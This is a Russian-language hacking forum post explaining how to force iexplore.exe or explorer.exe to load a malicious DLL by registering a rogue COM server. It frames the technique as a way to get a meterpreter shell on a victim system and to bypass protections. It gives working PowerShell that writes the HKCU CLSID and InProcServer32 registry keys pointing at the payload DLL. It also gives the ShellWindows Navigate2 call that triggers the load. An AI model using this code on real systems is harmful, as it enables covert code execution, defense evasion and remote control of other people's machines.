Принудительный запуск iexplore.exe для загрузки вредоносной DLL через COM

  • Автор темы Firewoll
  • Дата начала
  • Ответы 1
  • Просмотры 561

Firewoll

Просто, ваш повелитель😈
Местный

Firewoll

Просто, ваш повелитель😈
Местный

В принципе, можно заставить iexplore.exe (или explorer.exe) загрузить и выполнить вредоносную DLL-библиотеку. Разбираемся в методе, который можно использовать при попытке обхода определенных защит.

Техника работает следующим образом:
  • Хакер создает вредоносный DLL, который хотел бы, чтобы iexplore.exe загружал и выполнял. Я в данном случае использовал meterpreter пейлоад.
  • В системе-жертве хакер определяет новый COM-сервер, создавая необходимые ключи и значения в реестре. Ранее созданная вредоносная DLL будет настроена для обработки вызовов COM-клиента. В нашем случае DLL выполнит только одно действие - при загрузке она выполнит шеллкод meterpreter
  • В системе жертвы, хакер использует существующий ShellWindows (iexplore или explorer) COM-сервер 9BA05972-F6A8-11CF-A442-00A0C90A8F39 для вызова нашего вредоносного COM-сервера, просто перейдя на него.
  • iexplore.exe загружает вредоносную DLL
  • Хакер получает в свое распоряжение meterpreter шелл
Этот метод требует, чтобы iexplore.exe был запущен на целевой системе

Почитайте подробнее статью Rob Maslen -
Пожалуйста , Вход или Регистрация чтобы увидеть ссылку!
, чтобы разобраться с этим методом детальнее.


Выполнение

Ниже приведен код PowerShell, который создает новый COM-объект со случайно выбранным CLSID 55555555-5555-5555-5555-555555555555 , который регистрирует нашу вредоносную библиотеку DLL для обработки входящих вызовов от COM-клиентов: \\VBOXSVR\Experiments\evilm64.dll

Код:

Код:
# Code borrowed from https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1 by Rob Maslen
$CLSID = "55555555-5555-5555-5555-555555555555"
Remove-Item -Recurse -Force -Path "HKCU:\Software\Classes\CLSID\{$CLSID}" -ErrorAction SilentlyContinue
# path to the malicious DLL we want iexplore to load and execute
$payload = "\\VBOXSVR\Experiments\evilm64.dll"
New-Item -Path "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}" | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" | Out-Null
New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "(default)" -Value $Payload | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "ThreadingModel" -Value "Apartment" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "LoadWithoutCOM" -Value "" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "HideOnDesktop" -Value "" | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "Attributes" -Value 0xf090013d -PropertyType DWORD | Out-Null
После запуска мы видим, что новый COM-объект успешно создан в реестре:


Теперь мы готовы выполнить пейлоад с помощью приведенного ниже PowerShell. А именно:
  • Мы запрашиваем новый экземпляр ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) COM-объекта, который на самом деле применяется как к explorer.exe, так и к iexplore.exe, то есть, имея дескриптор этого объекта, мы можем взаимодействовать с ними, используя их открытые методы.
  • В частности, мы заинтересованы в получении экземпляра COM-объекта для iexplore.exe, потому что на его COM-сервере есть метод Navigate2(...) . Navigate2 позволяет программно заставить iexplore.exe открыть URL.
  • Направляем iexplore на наш недавно созданный вредоносный CLSID, указывающий на нашу DLL вместо URL:
Код

Код:
# force iexplore to load the malicious DLL and execute it
$shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-00A0C90A8F39}")
$typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid)
$shwin = [System.Activator]::CreateInstance($typeShwin) | ? {$_.fullname -match 'iexplore'} | Select-Object -First 1
$shWin.Navigate2("shell:::{$CLSID}", 2048)
Shell
В качестве шутки можно вызвать наш вредоносный СОМ-объект через проводник, перейдя на shell:::{55555555-5555-5555-5555-555555555555} , который заставит explorer.exe загрузить нашу вредоносную DLL
 
|
Сверху Снизу